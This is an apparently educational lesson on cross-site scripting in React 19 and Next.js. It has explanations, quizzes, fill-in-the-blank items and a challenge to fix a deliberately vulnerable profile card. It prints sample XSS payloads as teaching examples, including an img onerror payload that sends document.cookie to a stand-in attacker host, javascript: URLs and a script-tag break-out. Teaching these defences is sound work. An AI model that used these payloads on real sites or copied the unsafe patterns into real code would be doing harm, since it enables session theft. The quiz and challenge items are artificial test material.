XSS: when your page runs someone else's script
- Explain why XSS defeats session-based defences: injected script runs as your page, with the user's cookies
- Tell stored, reflected and DOM-based XSS apart by where the payload lives and where it becomes markup
- Predict what React 19 does with a payload in a text child, an attribute,
dangerouslySetInnerHTMLand ajavascript:href - Choose escaping, sanitising (DOMPurify) or a URL-scheme allow-list for a given piece of user input
- Fix a component that renders user-supplied HTML, attributes and links unsafely
Read
XSS means their code runs as your page
FlagCross-site scripting (XSS) is one bug with one shape: text an attacker controls ends up being parsed as code in your page. The classic carrier is a comment, a display name or a search term that your code turns into HTML.
// A comment from the database, written by an attacker:
const body = `<img src="x" onerror="fetch('https://evil.example/?c=' + document.cookie)">`;
commentEl.innerHTML = body; // parsed as HTML: the broken image fires onerror
The image fails to load, onerror runs, and the attacker's JavaScript is now executing inside
your origin, in the victim's browser, with the victim's session. MDN's XSS page puts it plainly:
the injected code "can do anything that the site's own code can do". That means it can:
- call your API with
fetch('/api/...')— the browser attaches the user's cookies, because the request is same-origin; - read whatever the page can read: the DOM,
localStorage, a CSRF token in a hidden field; - rewrite the page — a fake "session expired, log in again" form that posts the password elsewhere.
That is why XSS sits above the other web defences rather than beside them. CSRF tokens,
SameSite cookies and CORS all assume the attacker is on another site. With XSS they are on
yours. An HttpOnly cookie stops the script reading the session cookie, but the script doesn't
need to read it — every request it makes carries the cookie anyway.
The fix is never "detect the evil string". It is: never let user text reach a place where the browser parses it as code — and the rest of this unit is about where those places are.
Stored, reflected, DOM-based — where the payload lives
FlagThe three names describe where the attacker's string travels before something turns it into markup. The sink is the same idea every time; what changes is who can see the payload and how many people it hits.
Stored. The payload is saved — a bio, a product review, a support-ticket subject — and served to everyone who views it. MDN calls it "particularly severe, because the infected content will be served to all users who access the page, every time they access it". The admin who opens the ticket queue is the usual victim.
// app/u/[name]/page.tsx — the bio was saved from a profile form
const user = await getUser(name);
return <div dangerouslySetInnerHTML={{ __html: user.bio }} />; // runs for every visitor
Reflected. The payload rides in the request — usually a link the attacker gets the victim to open — and the server echoes it straight back into the response.
// app/search/route.ts — builds HTML by hand, so nothing escapes `q`
export async function GET(req: Request) {
const q = new URL(req.url).searchParams.get("q") ?? "";
return new Response(`<p>No results for ${q}</p>`, {
headers: { "Content-Type": "text/html; charset=utf-8" },
});
}
// /search?q=<img src=x onerror=alert(1)>
DOM-based. The payload never needs to reach your server: client-side code reads it from the
URL (often the #fragment, which browsers don't send to the server at all), postMessage or
storage, and writes it into a sink.
// a client component, after mount
const name = decodeURIComponent(location.hash.slice(1));
banner.current!.innerHTML = `Welcome back, ${name}`; // #<img src=x onerror=...>
Because the fragment never leaves the browser, server logs and server-side filters can't see a DOM-based attack happen.
| Kind | Where the payload lives | Who it hits |
|---|---|---|
| Stored | your database | everyone who views it |
| Reflected | the request (a crafted link) | whoever opens the link |
| DOM-based | the browser (URL, fragment, storage, messages) | whoever opens the link; invisible to the server |
The fix is the same for all three: keep the value out of HTML and script sinks — render it as text, or pass it through the right sanitiser or URL check first. The kind tells you where to look and how bad it is, not which defence to use.
What React 19 actually does with a javascript: URL
Flag<a href={user.website}> with javascript:fetch('/api/me')… used to be a working XSS in React.
What happens now depends on the React version:
- React 16.9 – 18: the URL is rendered as given. React 16.9 added a development-only warning ("A future version of React will block javascript: URLs…"); production builds said nothing and the payload ran on click.
- React 19: the React 19 upgrade guide lists "Error for javascript URLs in
srcandhref" as a breaking change. In practice React replaces the value. Rendering<a href=" JavaScript:alert(1)">with React 19.2 — client or server, development or production build — produces:
<a href="javascript:throw new Error('React has blocked a javascript: URL as a security precaution.')">x</a>
A click throws that error in the console instead of running the attacker's code. The check is a
case-insensitive pattern that tolerates leading control characters and tabs or newlines inside the
word, so the usual obfuscations are caught. The same replacement applied to src on an
iframe and to a form's action in the same test run.
What it does not cover:
- Other schemes.
data:text/html,…andvbscript:…are rendered unchanged. React's job is to stop the one scheme that runs script on click in every browser, not to decide which URLs your app accepts. OWASP's cheat sheet says it directly: React 19's blocking "does not replace application-specific URL validation". - Your own navigation code.
window.location.href = nextorwindow.open(next)with a user-controlled value never passes through React's attribute code, so a?next=javascript:…parameter is a DOM-based XSS that React 19 does nothing about. (In Next.js 16.2's source, the App Router'srouter.push/router.replacethrow on ajavascript:URL themselves — a framework check, not React's, and it doesn't coverwindow.location.) - Anything inside
dangerouslySetInnerHTML. React sets that string asinnerHTML; ajavascript:link inside it is not inspected. - Older React. A library or micro-frontend still on React 18 is still exposed.
So the allow-list from the medium reading stays. React 19's blocking is a backstop that turns a
missed check from "account takeover" into "a broken link" — and a link that renders as a
throwing javascript: URL is also a bad user experience, which is one more reason to decide in
your own code whether a value becomes a link at all.
Quiz
An attacker gets their script running in your app's page. Which defence still stops them acting as the logged-in user?
FlagA client component reads location.hash, decodes it and assigns it to element.innerHTML. A victim opens https://app.example/welcome#<img src=x onerror=…>. What kind of XSS is this, and what can your server-side logging see of it?
A customer puts a payload in a support-ticket subject. Days later it runs in the browser of every agent who opens the ticket queue. Which kind is it, and why is it usually the most damaging?
FlagIn a React component, <p>{comment.body}</p> renders a comment whose body is <img src=x onerror="alert(1)">. What happens?
Why is <span dangerouslySetInnerHTML={{ __html: `<img alt="${name}" src="${url}">` }} /> unsafe even if name contains no <, while <img alt={name} src={url} /> is safe?
React 19.2: a user sets their website to javascript:fetch('/api/me').then(…) and you render <a href={user.website}>. What happens when someone clicks it?
You render a user-supplied website as a link. Which check should decide whether it becomes an <a href>?
Posts are written in a rich-text editor that saves HTML (bold, lists, links). How should the post page render them?
FlagFill in the blank
Return a URL only if it's an absolute https: or http: URL. Parse first, then check the parsed scheme.
function safeHref(value: string): string | null { let url: URL; try { url = new (value); } catch { return null; } return url. === "https:" || url.protocol === "http:" ? url.href : null; }
Render rich-text HTML: sanitise it with DOMPurify, then hand the result to React as raw HTML.
Flagconst clean = DOMPurify.(post.html, { USE_PROFILES: { html: true } }); return <div ={{ : clean }} />;
Embed JSON-LD in a <script> tag so that a product name containing </script> can't close the tag. Replace which character with \u003c?
__html: JSON.stringify(jsonLd).replace(//g, "\\u003c")
In plain DOM code (no React), show a server message that is meant to be plain text, without parsing it as HTML.
FlagstatusEl. = message;
Predict the output
const inputs = ["JavaScript:alert(1)", " javascript:alert(1)", "javascript:alert(1)"];
const allowed = inputs.filter((u) => !u.startsWith("javascript:"));
console.log(allowed.length);
console.log(new URL(inputs[1]).protocol);// React 19.2, react-dom/server
const user = { website: " JavaScript:alert(document.cookie)" };
console.log(renderToStaticMarkup(<a href={user.website}>Site</a>));// a client component, rendered after a click (no server render)
<div
dangerouslySetInnerHTML={{
__html: `<script>steal("script")</script><img src="x" onerror="steal('img')">`,
}}
/>// app/products/[id]/page.tsx — server-rendered
const jsonLd = { name: "Mug </script><script>alert(1)</script>" };
return (
<script
type="application/ld+json"
dangerouslySetInnerHTML={{ __html: JSON.stringify(jsonLd) }}
/>
);Challenge
Make the profile card safe to render
FlagProfileCard renders a public profile. Every field in profile.ts comes straight from a form,
so every field is attacker-controlled. With friendly data the card looks fine; the second card in
the preview uses hostile data, and with the starter code its payloads run (they only repaint the
page).
Three places let user text become code:
- The bio is plain text, but it's rendered with
dangerouslySetInnerHTML, so any tag in it becomes a real element, including an<img>whoseonerrorruns script. - The avatar is built as an HTML string. A
"in the name closes thealtattribute early and starts a new attribute of the attacker's choosing. - The website is filtered with a deny-list.
startsWith("javascript:")missesJavaScript:andjavascript:, and says nothing aboutdata:or any other scheme. React 19 replacesjavascript:URLs with one that throws, which stops that click, but it renders every other scheme as given, and the card shouldn't make a link out of something that isn't a website.
Your task
Edit ProfileCard.tsx so the tests pass:
- Markup in
biois shown as text: no element is created from it - A
"innameoravatarUrlcan't add an attribute to the avatar<img>;altandsrchold the raw strings websitebecomes a link only when it parses as an absolutehttp:orhttps:URL; anything else (any casing or padding ofjavascript:, even a tab inside the word,data:,vbscript:, or a bareann.dev) is shown as plain text- A valid
httporhttpswebsite still links to that URL
Further reading
- OWASP Cheat Sheet: Cross Site Scripting Prevention
- MDN: Cross-site scripting (XSS)
- MDN: Element.innerHTML (security considerations)
- MDN: What is a URL? (the fragment is never sent to the server)
- React docs: Common components — dangerouslySetInnerHTML
- React 19 upgrade guide ("Error for javascript URLs in src and href")
- React 16.9 release notes: deprecating javascript: URLs
- URL Standard (WHATWG) — how URLs are parsed
- DOMPurify README
- Next.js docs: JSON-LD